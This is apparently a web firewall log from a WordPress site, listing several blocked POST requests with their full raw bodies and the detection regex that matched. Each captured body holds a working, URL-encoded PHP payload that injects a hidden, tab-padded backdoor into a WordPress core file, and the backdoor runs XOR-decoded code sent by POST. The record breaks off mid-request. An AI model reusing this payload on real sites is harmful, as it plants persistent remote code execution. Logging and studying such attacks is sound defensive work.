%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:16","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4273\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\n\nfB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:24","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ab:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:4273\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\n\nab=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:45:29","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4296\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522m%255Cx61%255Cx72%255Cx6Ber%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520hex2bin%2528%2524_POST%255B%2522m%255Cx61%255Cx72%255Cx6Ber%2522%255D%2529%253B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520while%2528%2524w%2520%253C%2520strlen%2528%2524pgrp%2529%2529%257B%2524component%2520.%253D%2520chr%2528ord%2528%2524pgrp%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520%2524token%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524mrk%2520%253D%25200%252C%2520%2524ref%2520%253D%2520count%2528%2524token%2529%253B%2520%2524mrk%2520%253C%2520%2524ref%253B%2520%2524mrk%252B%252B%2529%2520%257B%2520%2524flag%2520%253D%2520%2524token%255B%2524mrk%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524flag%2529%2529%2520%257B%2520%2524holder%2520%253D%2520%2522%2524flag%2522%2520.%2520%2522\/.key%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524component%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524holder%253B%2520%2540unlink%2528%2524holder%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%2